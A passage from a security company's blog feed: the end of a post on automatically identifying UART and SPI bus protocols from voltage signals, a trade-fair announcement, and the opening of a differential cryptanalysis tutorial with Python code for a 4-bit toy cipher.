&lt;p>After each comparison, the counter result is stored. When the dataset has been compared with all known protocols, the algorithm returns all comparison counters.&lt;/p>
&lt;h3 id="identification-of-encoding-parameters">Identification of Encoding Parameters&lt;/h3>
&lt;p>If the algorithm detects that the original encoding of a signal group is a UART or SPI protocol, the algorithm starts the respective module to identify the used transmission parameters.&lt;/p>
&lt;h4 id="identification-of-the-uart-protocol-parameters">Identification of the UART Protocol Parameters&lt;/h4>
&lt;p>In case of the UART protocol, the algorithm identifies the signal polarity, baud rate, frame length, amount of stop bits and parity bits. Since the quality of the identification strongly depends on the correct identification of the &lt;em>Start-Stop-bit&lt;/em> pattern, a signal with a larger amount of changes generates more accurate results.&lt;/p>
&lt;h5 id="polarity-inversion-of-signal-line">Polarity Inversion of Signal Line&lt;/h5>
&lt;p>Initially, the algorithm identifies the voltage state of the longest constant voltage. The algorithm expects that the voltage of the longest state is equivalent to the voltage of the default, inactive, voltage. In case of a non-inverted UART protocol, the voltage of the inactive state is expected to be logically high, while in case of a polarity inversion of a UART based transmission, the default voltage has to be logically low.&lt;/p>
&lt;h5 id="identification-of-baud-rate">Identification of Baud Rate&lt;/h5>
&lt;p>The algorithm deduces the baud rate of the UART protocol based on the identified symbol duration of the dataset. For this purpose, it retrieves this information from getting the duration value of the first peak in the single event histogram.&lt;br>
For converting the symbol duration to the baud rate, the algorithm uses the inverse value of the duration, so that
$$f_{\mathrm{baud}} = \frac{1}{t_{\mathrm{symbol}}}$$&lt;/p>
&lt;p>The algorithm then rounds the calculated value to the next common baud rate before returning it to the user.&lt;/p>
&lt;h5 id="amount-of-stop-bits-in-uart">Amount of Stop Bits in UART&lt;/h5>
&lt;p>After having converted the voltage states into logical bits, the algorithm searches for the periodic occurrence of two types of patterns of logical bits in an interval of signal activity: &lt;code>bitpattern = b110&lt;/code> for an amount of two stop bits, and &lt;code>bitpattern = b10&lt;/code> for an amount of a single stop bit.&lt;/p>
&lt;p>If either search for the patterns is successful, the algorithm expects to have found the correct pattern. If none of both patterns seem to occur regularly, the algorithm cannot identify the amount of stop bits. Therefore, it can neither determine the actual amount of bits in a frame nor the existence of a parity bit.&lt;/p>
&lt;h5 id="check-for-parity-bit-implementation">Check for Parity Bit Implementation&lt;/h5>
&lt;p>To determine if a parity bit is used for a UART signal, the algorithm converts the voltage signal into a sequence of logical bits first. Based on the information about the amount of used stop bits, it tests if the last voltage state between the start and stop bits appears to act as check bit for parity.&lt;/p>
&lt;p>For an even parity, the combination of the last bit with the remaining bits of each evaluated frame shall be even. For odd parity, the total combination shall be odd.&lt;/p>
&lt;p>Since transmission errors are common, if more than 90% of the evaluated data frames result as having an even or odd data bit, the function returns this result.&lt;/p>
&lt;h5 id="amount-of-data-bits-per-frame">Amount of Data Bits per Frame&lt;/h5>
&lt;p>To calculate the amount of data bits per frame, the algorithm uses the original occurrence distance of the autocorrelation-pattern and subtracts the sum of identified start and stop bits as well as the existence of the parity bit, if any is used. Again, also this result of the evaluation is stored as property of the signal-group object.&lt;/p>
&lt;h4 id="identification-of-the-spi-protocol-parameters">Identification of the SPI Protocol Parameters&lt;/h4>
&lt;p>For the SPI protocol, there are only two parameters which are chosen before starting the transmission and generating a signal: The clock polarity and the clock phase.&lt;/p>
&lt;h5 id="identification-of-clock-polarity">Identification of Clock Polarity&lt;/h5>
&lt;p>The clock polarity defines whether the voltage of the clock signal is high or low during the inactive state. Therefore, similar to the identification of the polarity of the UART protocol described in the previous section, the clock polarity-function checks for the voltage of the longest duration without any activity. If this voltage is at the low voltage level, the returned clock polarity is &lt;code>polarity = 0&lt;/code>, whereas if it is at the upper voltage, the returned clock polarity is &lt;code>polarity = 1&lt;/code>.&lt;/p>
&lt;h5 id="identification-of-clock-phase">Identification of Clock Phase&lt;/h5>
&lt;p>The clock phase characteristic describes at which edge of the clock signal the voltage state of the data signal is supposedly read out by the addressee component. Since the voltage signal of the data line is supposed to be stable around the timing of the voltage state evaluation, the edge for which the algorithm finds fewer changes probably is the edge for which the evaluation is triggered and therefore defines the clock phase. For this reason the algorithm checks the amount of voltage changes of the signal line which happen around the timings of the rising as well as around the falling edges of the clock line and stores those in lists each.&lt;br>
If the addressee reads the data at a falling clock edge, the clock phase &lt;code>CPHA = 1&lt;/code>, while reading the voltage state at a rising clock edge, the clock phase &lt;code>CPHA = 0&lt;/code>.&lt;/p>
&lt;h3 id="generation-of-test-data">Generation of test data&lt;/h3>
&lt;p>For generating the data for development and testing the algorithm, two pieces of hardware were used: An USB-UART-converter to generate UART terminal signals, and an Arduino board which allowed the eavesdropping of voltage signals while the board accesses memory components which use the SPI and I²C protocol for data transmission. Additionally, the generation of voltage signals using the OneWire protocol has been implemented on the board.&lt;/p>
&lt;p>For all protocols, messages with various lengths, transmission speeds and, where applicable, transmission parameters were generated and recorded for evaluation.&lt;/p>
&lt;h4 id="evaluation-results">Evaluation Results&lt;/h4>
&lt;p>The algorithm correctly grouped and identified the protocols of 53 of the 54 prepared data set samples. The sample for which the identification algorithm fails to correctly identify the sample, is a long message transmitted at 500kBaud based on the UART protocol.&lt;/p>
&lt;p>The failed identification is caused by a false linking of the UART-based sample to an SPI transmission. Yet, this mismatch is caused by a side effect when identifying larger amounts of datasets. If the algorithm only receives the datasets affected in the mismatch, it groups and identifies the involved datasets correctly.&lt;/p>
&lt;p>Additionally, for a selected range of samples, the algorithm proves to correctly link the clock and data signals of 24 datasets, which only differ by variation in the offsets of start and end time.&lt;/p>
&lt;p>For all of the 15 test-specific samples based on the UART protocol, the algorithm correctly identifies the existence and type of the parity bit, amount of stop bits and amount of data bits per frame. For all of the 18 test specific samples based on the UART protocol, it correctly identifies the baud rate used for the generation of the signal.&lt;/p>
&lt;p>For SPI-based transmissions, samples without any modifications to the clock phase and polarity were generated. The algorithm correctly identifies the polarity for all of the 12 samples and the phase for 11 of the 12 samples.&lt;/p>
&lt;p>In summary, the algorithm shows a reliable fully automatic identification and grouping for almost all the investigated dataset samples: The single case of wrong identification is only triggered if the affected sample is evaluated as part of a larger amount of samples. Therefore, the current influence of additional samples on the linking of signals has to be further investigated.&lt;/p>
&lt;h2 id="outlook">Outlook&lt;/h2>
&lt;p>Even though the identification algorithm is able to group and identify signals and their originating protocols, the current version of the algorithm can be further improved: Currently, the amount of processable data is limited due to an inflation of the data in the working memory. To improve the performance, the functions which currently demand much of the computer resources are planned to be optimized.&lt;/p>
&lt;p>In extension to improving the processing performance, also the size of incoming and processed data can be reduced to increase the amount of processable datasets. This is planned to be achieved by a reduction of the resolution, measurement duration and, as far as it is possible, aggregating sequences of measurement data which show the same voltage levels: Currently, the algorithm runs blind measurements, without any information on the required measurement duration and resolution in time. Both pieces of information can be acquired based on the observation of voltage changes: The measurement duration can be defined on a minimum amount of changes required for running the statistical evaluation, and the resolution should be a certain multiple of the shortest time interval found between two changes of voltage states. This evaluation is not yet implemented so that resulting parameters could then be used as parameters for the actual measurement.&lt;/p>
&lt;p>And finally, for extending the field of application of the algorithm, it shall be extended with the functionality to work out further characteristics of voltage signals. This allows the identification of additional signals based on protocols like the ones which are introduced in this blog post, but not implemented into the algorithm, yet.&lt;/p>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;p>After the introduction to the signal analysis process, the upcoming post about the PROBoter software framework will provide an insight into the software components. This will cover the list of involved modules, their interfaces and functionality which is implemented in the project.&lt;/p>
&lt;p>Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>[1] Florian Schmid. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Algorithm&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">bus&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-9031"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">protocols&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, Masterthesis, Ruhr-Universität Bochum, Universitätsbibliothek, 2022.&lt;br>
[2] Raymond A Cuninghame-Green. &lt;em>Lecture Notes in Economics and Mathematical Systems&lt;/em>, volume 166. Springer Science &amp;amp; Business Media, 1979.&lt;br>
[3] Lothar Thiele, Samarjit Chakraborty, and Martin Naedele. &lt;em>Real-time calculus for scheduling hard real-time systems.&lt;/em> In 2000 IEEE International Symposium
on Circuits and Systems (ISCAS), volume 4, pages 101–104. IEEE, 2000.&lt;/p>
&lt;p>This work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.secforcars.de/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
We also want to thank &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">igus&lt;/span>
&lt;/a>&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for their support and providing hardware samples.
The project was created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisors Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation
with the the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Faculty&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Science&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">at&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ruhr&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Universität&lt;/span>
&lt;/a>&lt;a
href="https://informatik.rub.de/emsec/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Bochum&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(examiners Prof. Dr.-Ing. Christof Paar &amp;amp; M. Sc. Endres Puschner).&lt;/p></description></item><item><title>SCHUTZWERK at Embedded World 2023</title><link>https://www.schutzwerk.com/en/blog/embedded-world-2023/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 17 Jan 2023 09:00:00 +0100</pubDate><category>news</category><category>event</category><category>embedded security</category><description>
&lt;p>SCHUTZWERK will be present at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.embedded-world.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.embedded-world.de"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">World&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
in Nuremberg from March 14-16, 2023. Embedded World is the trade fair for experts along the entire value chain of embedded systems. Visit our booth 4-104c in hall 4 and see our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/tags/proboter/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
in action. We will be happy to present our services in the area of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and explain which vulnerabilities we can uncover from silicon to the cloud. For example, learn more about the possibilities of SoC-specific analyses or attack vectors using power glitching and power analysis. We look forward to your visit. Make a reservation for a discussion at our booth in advance or ask for a free ticket by e-mail to &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="mailto:info@schutzwerk.com"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">info@schutzwerk.com&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p></description></item><item><title>Differential Cryptanalysis of a Single-Round SPN</title><link>https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2/</link><author>Dr. Henning Kopp</author><pubDate>Fri, 23 Sep 2022 11:50:36 +0200</pubDate><category>cryptography</category><description>
&lt;p>The design of block ciphers is usually seen as a specialist topic.
Consequently, knowledge is mostly preserved in academic papers and there are only few introductory tutorials.
We aim to fill this gap between the IT security practitioner and the block cipher designer.
In this blog series we introduce differential cryptanalysis with a hands-on approach.
Our target group are IT security practitioners and programmers without a deep knowledge of math.&lt;/p>
&lt;p>The following list shows the topics of all scheduled blog posts.
It will be updated with the corresponding links once new posts are being
released.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">1:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Design&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Modern&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Symmetric&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">Ciphers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">2:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Differential&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Cryptanalysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">Single-Round&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-2"
class="link-background inline split"
>
&lt;span class="link-label">SPN&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Part 3: Differential Cryptanalysis of a Multi-Round SPN&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>Differential cryptanalysis is a type of cryptographic attack on the
design of a cipher.
It was introduced by Biham and Shamir in the late 80s.
However, later it was revealed that differential cryptanalysis was
already known to IBM when they designed &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://en.wikipedia.org/wiki/Data_Encryption_Standard"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">DES&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&amp;ndash; the first public
standardized algorithm for encrypting data.&lt;/p>
&lt;p>Differential cryptanalysis is a chosen plaintext attack, i.e., the attacker can query encryptions of a plaintext and has to
recover the key. This is formally modeled by querying a so-called
chosen-plaintext oracle. In practice it does not matter how the oracle
works exactly, but it somehow has to provide the ciphertext,
given a plaintext. This setting is part of the attack scenario.
The main idea of differential cryptanalysis is to trace differences of
plaintexts through the encryption algorithm.
In the ideal case, for a given difference of inputs each difference
of outputs has the same probability of occurrence.
However, due to mathematical reasons that ideal situation can never be the case.
If the deviations from that ideal probability are too large they can
be exploited and the key can be recovered.&lt;/p>
&lt;p>In this blog post we introduce a toy cipher on which we
demonstrate the principles of differential cryptanalysis.
We implemented our attack in Python in order to raise the
understanding of differential cryptanalysis.&lt;/p>
&lt;h2 id="our-toy-cipher">Our Toy Cipher&lt;/h2>
&lt;p>In this section we describe the design of our toy cipher which we
attack below using differential cryptanalysis. Further, we give a
short security discussion.&lt;/p>
&lt;h3 id="design">Design&lt;/h3>
&lt;p>The toy cipher analyzed in this post follows the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://link.springer.com/content/pdf/10.1007/s001459900025.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Even-Mansour&lt;/span>
&lt;/a>&lt;a
href="https://link.springer.com/content/pdf/10.1007/s001459900025.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">scheme&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
which we have already discussed in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">first&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">this&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/differential-cryptanalysis-1"
class="link-background inline split"
>
&lt;span class="link-label">series&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
In some sense this is the simplest cipher which can be proven secure
in some formal model.&lt;/p>
&lt;p>The block size of our toy cipher is 4 bits.
The key consists of 8 bits. This key is split into two halves, k0 and
k1 of 4 bits each.
Additionally the cipher contains an S-box. The S-box is basically a
table lookup that maps a 4 bit input to a 4 bit output.&lt;/p>
&lt;p>Encrypting an input block of 4 bit length requires the following
steps:&lt;/p>
&lt;ol>
&lt;li>Xor the plaintext input with the first key k0.&lt;/li>
&lt;li>Feed the output of the previous step into the S-box.&lt;/li>
&lt;li>Xor the output of the previous step with k1.&lt;/li>
&lt;/ol>
&lt;p>The output of the last step is the cipher text.&lt;/p>
&lt;p>The image below shows the steps of the encryption routine as a
circuit. As usual, the data flow is from top to the bottom.&lt;/p>
&lt;figure
style="width:160px;"
>
&lt;img
src="/en/blog/differential-cryptanalysis-2/01_differential.svg"alt="The schematic design of our toy cipher"/>&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
The schematic design of our toy cipher&lt;/figcaption>&lt;/figure>
&lt;p>Creating the concrete values for the S-box was done using a dice. This
generally leads to an insecure S-box, which is perfect for
illustrating differential cryptanalysis. In general, for modern
ciphers the values of the S-boxes are chosen very carefully in order to
impede attacks such as the differential cryptanalysis we show
in this post.&lt;/p>
&lt;p>Below is the Python code which implements encryption with our toy cipher.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">sbox = [&lt;span style="color:#3677a9">12&lt;/span>, &lt;span style="color:#3677a9">2&lt;/span>, &lt;span style="color:#3677a9">13&lt;/span>, &lt;span style="color:#3677a9">14&lt;/span>, &lt;span style="color:#3677a9">3&lt;/span>, &lt;span style="color:#3677a9">10&lt;/span>, &lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">9&lt;/span>, &lt;span style="color:#3677a9">5&lt;/span>, &lt;span style="color:#3677a9">8&lt;/span>, &lt;span style="color:#3677a9">15&lt;/span>, &lt;span style="color:#3677a9">11&lt;/span>, &lt;span style="color:#3677a9">4&lt;/span>, &lt;span style="color:#3677a9">7&lt;/span>, &lt;span style="color:#3677a9">1&lt;/span>, &lt;span style="color:#3677a9">6&lt;/span>]
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">round_function&lt;/span>(&lt;span style="color:#24909d">input&lt;/span>, key):
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> sbox[key ^ &lt;span style="color:#24909d">input&lt;/span>]
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">encrypt&lt;/span>(&lt;span style="color:#24909d">input&lt;/span>, key0, key1):
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> round_function(&lt;span style="color:#24909d">input&lt;/span>, key0) ^ key1
&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="security-discussion">Security Discussion&lt;/h3>
&lt;p>A naive security analysis shows that it is possible to brute-force the
key of the cipher. As the key consists of only 8 bits there are 256
possible keys in total.&lt;/p>
&lt;p>This attack can be improved. If we have some plaintext/ciphertext
pairs, then it is possible to speed up the encryption to only 16 guesses.
If we guess k1, we can compute the value of k0 using the
plaintext/ciphertext pair.
For this, the given ciphertext can be traced back through the cipher:
it is xored with the guessed k1 and the S-box is reversed. The result
of this operation xor the given plaintext gives a guess for the key k0.
This guess for the
combined key (k0, k1) can be validated using an additional
plaintext/ciphertext pair. Thus, it is necessary to only test each of the 16
possible 4 bit partial keys k1.&lt;/p>
&lt;p>Consequently, for a differential attack to be considered
effective, it has to require less than 16 guesses. Otherwise, a brute
force attack is more efficient.&lt;/p>
&lt;h2 id="differential-attack">Differential Attack&lt;/h2>
&lt;p>The main idea of differential cryptanalysis is to trace not single
values but differences through each stage of the cipher.&lt;/p>
&lt;p>In our case, we define a difference of two plaintexts p and
p' as p⊕p', where ⊕ denotes the bitwise xor operation.
There are other more exotic definitions of differences possible, which are more
suitable for other ciphers. However, in our cipher defining the
difference classically as bitwise xor is sufficient for a successful attack.&lt;/p>
&lt;p>Notice that encrypting a value p for a fixed key yields some value c of
ciphertext.
As the encryption algorithm is deterministic, encrypting p again under
the same key yields the same c.
Consequently, two inputs with a difference of zero yield two outputs
with a difference of zero. This behavior is independent of
the key.&lt;/p>
&lt;p>Let us now take a look at two inputs p and p' with a fixed input
difference p⊕p' for a fixed key k.
What are the output differences?
Encrypting p yields some ciphertext c. Encrypting p' yields some other
ciphertext c'.
As c and c' should have no relationship, each output difference c⊕c'
should have the same probability of occurrence.&lt;/p>
&lt;p>Next, we trace the operation of xoring through the cipher in order
to check whether for a fixed input difference each output difference
has the same probability.
When encrypting p, we first xor the key k_0 into the plaintext p.
An important observation is, that this xor does not affect the
differences at all.
If we have p⊕p' as input difference, then after xoring with the
key k_0, we get the same output difference as &lt;code>(p⊕k_0)⊕(p'⊕k_0) = p⊕p'⊕k_0⊕k_0 = p⊕p'&lt;/code> due to the commutativity of the xor operation.
The same holds for xoring with k_1.
Consequently the relation of input differences and output differences is
independent of the used key. In particular, the operation of the
encryption on the differences depends only on the S-box.
This action of the encryption on the differences is called the
differential characteristic of the S-box.
Formally, a differential characteristic is usually defined as an
input difference, an output difference, and the conditional probability of
occurrence of that output difference, given the input difference.&lt;/p>
&lt;p>Next, for each fixed input difference, we iterate over all possible
pairs of plaintext with that difference and count the frequency of
occurrence of the output differences.
As there are 4 bit of input this results in 2^4*2^4 = 256
operations.&lt;/p>
&lt;p>Even for more realistic encryption algorithms, this can
usually be done in a preprocessing phase.
The resulting table is called difference distribution table, as it
shows the distribution of differences.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">get_difference_distribution_table&lt;/span>():
&lt;span style="color:#24909d">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;[*] Computing difference distribution table.&amp;#34;&lt;/span>)
diff_dist_table = [[&lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> x &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>)] &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> y &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>)]
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> in_diff &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>):
&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> input0 &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">range&lt;/span>(&lt;span style="color:#3677a9">16&lt;/span>):
input1 = input0 ^ in_diff
out_diff = sbox[input0] ^ sbox[input1]
diff_dist_table[in_diff][out_diff] = diff_dist_table[in_diff][out_diff] + &lt;span style="color:#3677a9">1&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> diff_dist_table
&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">matrix_pretty_print&lt;/span>(matrix):
&lt;span style="color:#999;font-style:italic"># see https://stackoverflow.com/questions/13214809/pretty-print-2d-python-list&lt;/span>
s = [[&lt;span style="color:#24909d">str&lt;/span>(e) &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> e &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> row] &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> row &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> matrix]
